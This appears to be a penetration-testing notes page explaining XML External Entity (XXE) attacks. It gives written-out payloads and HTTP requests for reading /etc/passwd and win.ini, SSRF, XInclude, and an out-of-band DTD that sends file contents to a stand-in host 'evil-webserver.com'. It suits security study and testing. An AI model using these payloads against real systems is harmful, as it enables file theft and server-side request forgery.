XXE

(XEE) XML External Entity

XXE abuses the target application to leak files and data that the application has access to. This can be backend server files or external server files that are referenced and leaked. XXE can even lead to RCE via SSRF attacks.

XML External Entity Basics:

Webapps that use XML to transmit data between the server and browser, will utilize standard API libraries to do this. The best part about XXE is that it is an entirely valid functionality of the XML language. There is no black magic with this attack, simply an abusable feature that is frequently enabled by default. This feature is the external entity. To understand entities, we must first look at Document Type Definition (DTD) files. DTD files are a special type of XML file that contains information about the format or structure of XML. They are used to establish consistency amongst different, separate, XML files. The DTD file is referenced in XML with the DOCTYPE element. External Entities are defined from outside the DTD and provide the URL path to the external source. This is what is of interest in most XXE attacks.

General methodology for finding XXE:

  • Testing for file retrieval by defining an external entity with common operating system files and calling the entity as a data point to return in the application's response.

  • Testing for blind XXE vulnerabilities by defining an external entity based on a URL to a system that you control, and monitoring for interactions from that system. Look into Burp Collaborator client for further discussion on this.

  • Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an XInclude attack to try to retrieve a well-known operating system file.

Prevention: Generally, it is sufficient to disable resolution of external entities and disable support forXInclude.

XXE Attacks:

pageXXE Payloads

XXE to leak files:

Method1: Change the Doctype element to the external entity file path that you want to read. For example, if you have the following XML call going to the server: <?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>

or

<?xml version=”1.0″ encoding=”UTF-8″?> <!DOCTYPE foo SYSTEM “http://validserver.com/formatting.dtd”> <specifications>&file;</specifications> We can then edit this to reference a system file. Note the [] in use to allow us to include this xml-scoped reference into the DTD: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> This means that any reference to the xxe value in the document will be populated with the passwd file. We could also replace the referenced file with an external URL to our own file if desired.

Method2: Edit the defined external entity data value to reference a separate data set.

XXE to SSRF:

This method abuses the ability to reference any URL on the server with the added vulnerability of being able to get the server to make HTTP requests to these same URLs. This can be done with either 2-way communication where the HTTP response is piped into the application so we can view it. Or this can be done in a one-way fashion, as Blind SSRF where we can trigger HTTP requests but cannot view the results via the application. 2-way SSRF: Blind SSRF: These are a bit harder to detect but sometimes out-of-band methods can be used to find this version of SSRF. The XML parsing errors that get generated can then be used to disclose data.

Out-of-Band XXE:

In instances where XML is injectable, but not returned in the HTTP response, we turn to external .dtd files for an Out-Of-Band attack. In the below data flow we are hosting a dtd file on our server which then is used to retrieve the HTTP response to upgrade our blind request forgery.

Our hosted file payload.dtd: <?xml version=”1.0″ encoding=”utf-8″ ?> <!ENTITY % data SYSTEM “file:///c:/windows/win.ini”> <!ENTITY % bravo “<!ENTITY % charlie SYSTEM ‘https://evil-webserver.com/?%data;’>”> And the HTTP request we send: POST /notes/savenote HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: text/xml;charset=UTF-8. Host: myserver.com <?xml version=”1.0″ ?> <!DOCTYPE hack [ <!ELEMENT x ANY > <!ENTITY % alpha SYSTEM “https://evil-webserver.com/payload.dtd”> %alpha; %bravo; ]> <x>&charlie;</x> <note> <to>Alice</to> <from>Bob</from> <header>Sync Meeting</header> <time>1200</time> <body>Meeting time changed</body> </note>

XInclude XXE:

When we do not control the XML document but we find out that our data input (form, comment, etc) is being passed on the server-side with a SOAP request. We can then poison that XML doc, being made by the SOAP API, with our XInclude as data. Here we provide the XInclude namespace and then our URL reference. <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE via File Upload:

Some file formats use XML to store the data. Files like docx and svg are xml based files that can be coded to contain an XXE attack and then be uploaded to the server.

XXE via HTTP Content-Type:

Sometimes a POST request can be made to include the Content-Type: text/xml with XML data in the data field: POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> If this POST request is parsed as XML then this can lead to XXE also. Then an attack may look like the following:

POST /notes/savenote HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: text/xml;charset=UTF-8 Host: myserver.com <?xml version=”1.0″ ?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd” >]> <note> <to>Alice</to> <from>Bob</from> <header>Sync Meeting</header> <time>1200</time> <body>Meeting time changed &xxe;</body> </note>

Note the Content-Type, DOCTYPE , line and the data reference &xxe; to make this work. If successful then the HTTP response body will hold our file.

JSON Convert XXE

In some cases, a JSON request can be seen being made with Content-Type: application/json and with json data in the request body. In this case, we can try to provide a standard XXE payload and change the content type to Content-Type: application/xml .

Last updated